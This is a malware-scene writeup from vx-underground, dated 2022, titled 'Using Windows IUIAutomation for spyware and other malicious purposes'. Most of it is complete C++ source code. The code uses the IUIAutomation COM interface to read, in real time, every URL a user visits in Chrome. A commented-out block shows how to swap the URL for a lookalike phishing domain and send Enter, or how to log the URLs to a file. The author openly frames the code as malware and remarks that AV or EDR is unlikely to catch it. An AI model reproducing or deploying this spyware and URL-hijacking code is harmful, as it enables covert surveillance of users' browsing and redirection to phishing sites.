88 88 88 88 88 88 8b d8 8b, ,d8 88 88 8b,dPPYba, ,adPPYb,88 ,adPPYba, 8b,dPPYba, ,adPPYb,d8 8b,dPPYba, ,adPPYba, 88 88 8b,dPPYba, ,adPPYb,88 `8b d8' `Y8, ,8P' aaaaaaaa 88 88 88P' `"8a a8" `Y88 a8P_____88 88P' "Y8 a8" `Y88 88P' "Y8 a8" "8a 88 88 88P' `"8a a8" `Y88 `8b d8' )888( """""""" 88 88 88 88 8b 88 8PP""""""" 88 8b 88 88 8b d8 88 88 88 88 8b 88 `8b,d8' ,d8" "8b, "8a, ,a88 88 88 "8a, ,d88 "8b, ,aa 88 "8a, ,d88 88 "8a, ,a8" "8a, ,a88 88 88 "8a, ,d88 "8" 8P' `Y8 `"YbbdP'Y8 88 88 `"8bbdP"Y8 `"Ybbd8"' 88 `"YbbdP"Y8 88 `"YbbdP"' `"YbbdP'Y8 88 88 `"8bbdP"Y8 aa, ,88 "Y8bbdP" Title: Using Windows IUIAutomation for spyware and other malicious purposes Author: smelly__vx Date: October 28th, 2022 Hello, it's been sometime since I've done any sort of writeup. I've been busy with vx-underground, or something, whatever, so I haven't had sufficient time top do what I love to do. However, lately we've been taking on more volunteers, and more routine and day-to-day operations are semi-automated. This has given me time to do cool stuff again. Let's see how long this lasts... The tl;dr of this code is that it can monitor which website a user visits in Chrome in real time. It also allows the URL to be modified. So, hypothetically speaking, if a user visits Facebook.com, it could detect they connected to Facebook and modify the URL to connect to fakedomain.facebook.fakedomain.com. Or, whatever you decide to do. The idea of this code came from a person named "LightSide" in the vx-underground Telegram channel. He wanted to make malware which redirected users to the RickRoll video whenever they tried to visit literally any website. I laughed at this idea, but wondered if I could do it. tl;dr I could do it. There's a couple of different ways to accomplish this, but I decided to do it using IUIAutomation because its COM-based and it is super strange code. I can't imagine any AV or EDR hooking this code or even encountering this type of code in the wild. #include <windows.h> #include <AtlBase.h> #include <AtlCom.h> #include <UIAutomation.h> SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } PWCHAR StringCopyW(_Inout_ PWCHAR String1, _In_ PWCHAR String2) { PWCHAR p = String1; while ((*p++ = *String2++) != 0); return String1; } INT StringCompareW(_In_ LPCWSTR String1, _In_ LPCWSTR String2) { for (; *String1 == *String2; String1++, String2++) { if (*String1 == '\0') return 0; } return ((*(LPCWSTR)String1 < *(LPCWSTR)String2) ? -1 : +1); } PWCHAR StringLocateCharW(_Inout_ PWCHAR String, _In_ INT Character) { do { if (*String == Character) return (PWCHAR)String; } while (*String++); return NULL; } INT StringCompareStringRegionW(PWCHAR String1, PWCHAR String2, SIZE_T Count) { UCHAR Block1, Block2; while (Count-- > 0) { Block1 = (UCHAR)*String1++; Block2 = (UCHAR)*String2++; if (Block1 != Block2) return Block1 - Block2; if (Block1 == '\0') return 0; } return 0; } PWCHAR StringFindSubstringW(_In_ PWCHAR String1, _In_ PWCHAR String2) { PWCHAR pPointer = String1; DWORD Length = (DWORD)StringLengthW(String2); for (; (pPointer = StringLocateCharW(pPointer, *String2)) != 0; pPointer++) { if (StringCompareStringRegionW(pPointer, String2, Length) == 0) return (PWCHAR)pPointer; } return NULL; } BOOL GetProcessBinaryNameFromHwndW(_In_ HWND ProcessHwnd, _Inout_ PWCHAR BinaryName, _In_ DWORD BufferSize) { WCHAR Buffer[MAX_PATH * sizeof(WCHAR)] = { 0 }; DWORD ProcessId = ERROR_SUCCESS; HANDLE hHandle = NULL; BOOL bFlag = FALSE; DWORD dwError = 0; DWORD dwLength = MAX_PATH * sizeof(WCHAR); GetWindowThreadProcessId(ProcessHwnd, &ProcessId); hHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessId); if (hHandle == NULL) return FALSE; if (!QueryFullProcessImageNameW(hHandle, 0, Buffer, &dwLength)) goto EXIT_ROUTINE; if (MAX_PATH * sizeof(WCHAR) > BufferSize) goto EXIT_ROUTINE; if (StringCopyW(BinaryName, Buffer) == NULL) goto EXIT_ROUTINE; bFlag = TRUE; EXIT_ROUTINE: if (hHandle) CloseHandle(hHandle); return bFlag; } class EventHandler : public IUIAutomationFocusChangedEventHandler { private: LONG ReferenceIndex; public: INT EventIndex; IUIAutomationElement* Pane = NULL; IUIAutomationCondition* UrlContext = NULL; EventHandler() : ReferenceIndex(1), EventIndex(0) { } ULONG STDMETHODCALLTYPE AddRef() { return InterlockedIncrement(&ReferenceIndex); } ULONG STDMETHODCALLTYPE Release() { ULONG Result = InterlockedDecrement(&ReferenceIndex); if (Result != ERROR_SUCCESS) return Result; if (Pane) Pane->Release(); if (UrlContext) UrlContext->Release(); delete this; return Result; } HRESULT STDMETHODCALLTYPE QueryInterface(REFIID Riid, PVOID* Interface) { if (Riid == __uuidof(IUnknown)) *Interface = (IUIAutomationFocusChangedEventHandler*)(this); else if (Riid == __uuidof(IUIAutomationFocusChangedEventHandler)) *Interface = (IUIAutomationFocusChangedEventHandler*)(this); else { *Interface = NULL; return E_NOINTERFACE; } this->AddRef(); return S_OK; } HRESULT STDMETHODCALLTYPE HandleFocusChangedEvent(IUIAutomationElement* pSender) { HRESULT Result; IUIAutomationElement* Url = NULL; IValueProvider* Provider = NULL; CComVariant Variant; EventIndex++; Result = Pane->FindFirst(TreeScope_Descendants, UrlContext, &Url); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; if(Url == NULL) goto EXIT_ROUTINE; Result = Url->GetCurrentPropertyValue(UIA_ValueValuePropertyId, &Variant); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; if (!Variant.bstrVal) goto EXIT_ROUTINE; /******************************************************* // 1. Gets the current URL // Result = Url->GetCurrentPattern(UIA_ValuePatternId, (IUnknown**)&Provider); // if (!SUCCEEDED(Result)) // goto EXIT_ROUTINE; // // // 2. Modify the URL to whatever you'd like // Provider->SetValue(L"google.com"); // // 3. Send ENTER key to change URL // INPUT Input[2] = { INPUT_KEYBOARD }; // Input[0].ki.wVk = VK_RETURN; // Input[1] = Input[0]; // Input[1].ki.dwFlags |= KEYEVENTF_KEYUP; // SendInput(2, Input, sizeof(INPUT)); // // OR write to a file?:) ******************************************************/ wprintf(L"Url: %ws\r\n", Variant.bstrVal); EXIT_ROUTINE: if (Url) Url->Release(); if (Provider) Provider->Release(); return S_OK; } }; DWORD MpfComMonitorChromeSessionOnce(VOID) { HWND hChrome = NULL; DWORD dwError = ERROR_SUCCESS; INT Length = 0; BOOL bFlag = FALSE, bHandlerPresent = FALSE; HRESULT Result = ERROR_SUCCESS; IUIAutomation *Automaton = NULL; IUIAutomationElement* Element = NULL; IUIAutomationCondition* Condition = NULL; IUIAutomationElementArray* Array = NULL; EventHandler *EventHandlerObject = NULL; EventHandlerObject = new EventHandler(); if (!EventHandlerObject) return -1; Result = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; for (;;) { WCHAR Buffer[MAX_PATH * sizeof(WCHAR)] = { 0 }; if (!GetProcessBinaryNameFromHwndW(GetForegroundWindow(), Buffer, MAX_PATH * sizeof(WCHAR))) continue; if (StringFindSubstringW(Buffer, (PWCHAR)L"chrome.exe") != NULL) break; } hChrome = FindWindowExW(NULL, hChrome, L"Chrome_WidgetWin_1", NULL); if (hChrome == NULL) goto EXIT_ROUTINE; Result = CoCreateInstance(CLSID_CUIAutomation, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&Automaton)); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Automaton->ElementFromHandle(hChrome, &Element); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Automaton->CreatePropertyCondition(UIA_ControlTypePropertyId, CComVariant(UIA_PaneControlTypeId), &Condition); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Element->FindAll(TreeScope_Children, Condition, &Array); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Array->get_Length(&Length); for (INT i = 0; i < Length; i++) { CComBSTR NameObject; Result = Array->GetElement(i, &EventHandlerObject->Pane); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; EventHandlerObject->Pane->get_CurrentName(&NameObject); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; if (StringCompareW(NameObject, L"Google Chrome") == ERROR_SUCCESS) break; EventHandlerObject->Pane->Release(); } if (EventHandlerObject->Pane == NULL) goto EXIT_ROUTINE; Result = Automaton->CreatePropertyCondition(UIA_ControlTypePropertyId, CComVariant(UIA_EditControlTypeId), &EventHandlerObject->UrlContext); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Automaton->AddFocusChangedEventHandler(NULL, (IUIAutomationFocusChangedEventHandler*)EventHandlerObject); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; else bHandlerPresent = TRUE; for (;;) { Sleep(10); } //let event handler work bFlag = TRUE; EXIT_ROUTINE: if (!bFlag) dwError = GetLastError(); if (Element) Element->Release(); if (Array) Array->Release(); if (Condition) Condition->Release(); if(bHandlerPresent) Automaton->RemoveFocusChangedEventHandler((IUIAutomationFocusChangedEventHandler*)EventHandlerObject); if (Automaton) Automaton->Release(); if (EventHandlerObject) EventHandlerObject->Release(); CoUninitialize(); return dwError; } int main(VOID) { DWORD dwError = ERROR_SUCCESS; dwError = MpfComMonitorChromeSessionOnce(); return dwError; }